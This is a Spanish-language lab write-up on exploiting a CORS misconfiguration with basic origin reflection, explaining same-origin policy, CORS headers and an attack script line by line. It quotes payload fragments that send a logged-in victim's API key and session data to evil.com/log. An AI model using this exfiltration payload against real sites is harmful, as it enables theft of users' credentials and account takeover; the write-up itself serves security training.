CORS vulnerability with basic origin reflection
Same-origin policy
La política de mismo origen es una especificación restrictiva de origen cruzado que limita la capacidad de un sitio web para interactuar con recursos fuera del dominio de origen. La política de mismo origen se definió hace muchos años en respuesta a interacciones entre dominios potencialmente maliciosas, como el robo de datos privados de un sitio web por parte de otro. Por lo general, permite que un dominio envíe solicitudes a otros dominios, pero no que acceda a las respuestas.
Relaxation of the same-origin policy
La política de mismo origen es muy restrictiva y, en consecuencia, se han ideado diversos enfoques para eludir las restricciones. Muchos sitios web interactúan con subdominios o sitios de terceros de una manera que requiere un acceso completo entre orígenes. Es posible relajar de forma controlada la política de mismo origen utilizando el intercambio de recursos entre orígenes (CORS).
El protocolo de intercambio de recursos entre orígenes utiliza un conjunto de encabezados HTTP que definen los orígenes web de confianza y las propiedades asociadas, como si se permite el acceso autenticado. Estos se combinan en un intercambio de encabezados entre un navegador y el sitio web de origen cruzado al que intenta acceder.
Vulnerabilities arising from CORS configuration issues
Muchos sitios web modernos utilizan CORS para permitir el acceso desde subdominios y terceros de confianza. Su implementación de CORS puede contener errores o ser demasiado permisiva para garantizar que todo funcione, lo que puede dar lugar a vulnerabilidades explotables.
Lab: CORS vulnerability with basic origin reflection


Access-Control-Allow-Origin: evil.com→ El servidor confía explícitamente enevil.comy permite que se lea la respuesta desde ese origen.Access-Control-Allow-Credentials: true→ Permite enviar cookies de sesión junto con la solicitud (la cookiesessionen este caso).
Con esa configuración, cualquier atacante que controle evil.com puede:
Forzar al navegador de la víctima a hacer peticiones autenticadas al sitio vulnerable.
Leer la respuesta completa, incluyendo datos sensibles como apikey o sessions.
Esto es similar a un CSRF + Data Theft, pero usando CORS para permitir que el atacante vea la respuesta.
req.withCredentials = true;Esto hace que el navegador incluya la cookiesessioncuando se hace la petición, como si fuera el usuario legítimo.this.responseTextAquí se guarda la respuesta del endpoint vulnerable, por ejemplo:
location='/log?key='+this.responseText;
Esto redirige al navegador de la víctima a tu servidor (evil.com/log) para robar los datos capturados.
El atacante crea una página maliciosa en
evil.comcon el payload.La víctima, que ya está autenticada en el sitio vulnerable, visita
evil.com.El script en
evil.comhace una peticiónGETa:
enviando automáticamente la cookie de sesión de la víctima.
El servidor vulnerable responde con los datos de la cuenta, y por mala configuración de CORS:
Permite que el navegador entregue esa información al script atacante.
El script roba esa información y la envía al atacante.
Al enviar nuestro script a la victima, podemos ver que este nos devuelve la información del username, email, apikey, sessions

Una vez obtenida esta apikey, podemos usar la session para ingresar como administrador


Mas detalles
Explicación del código
Expliquemos a detalle el script:
Este script explota una mala configuración de CORS para robar datos sensibles del usuario autenticado.
Creación del objeto
XMLHttpRequest
Este objeto permite a tu script hacer peticiones HTTP desde el navegador.
Es la base de AJAX, pero aquí lo usamos con fines maliciosos.
Definir la función que maneja la respuesta
onload se ejecuta cuando el servidor responde correctamente.
Asignamos como handler la función reqListener, que es la encargada de robar la información.
Configuración de la solicitud
GET→ Método HTTP.URL → Es el endpoint vulnerable al que queremos acceder con la cookie de la víctima.
true→ La petición será asíncrona, no bloquea el navegador.
Envío de credenciales (cookies)
Esta línea es CRÍTICA.
Le dice al navegador: "Incluye las cookies asociadas al dominio objetivo cuando hagas la petición."
Sin esto, la petición no enviaría la cookie session de la víctima y no estaríamos autenticados.
En este caso, la cookie que se envía es:
Envió de solicitud
Capturar y exfiltrar la respuesta
this.responseText→ Contiene la respuesta completa que devolvió el servidor vulnerable.Ejemplo de contenido:
Luego el script redirige el navegador a: https://evil.com/log?key=<respuesta robada>
Otras Alternativas de explotación
Last updated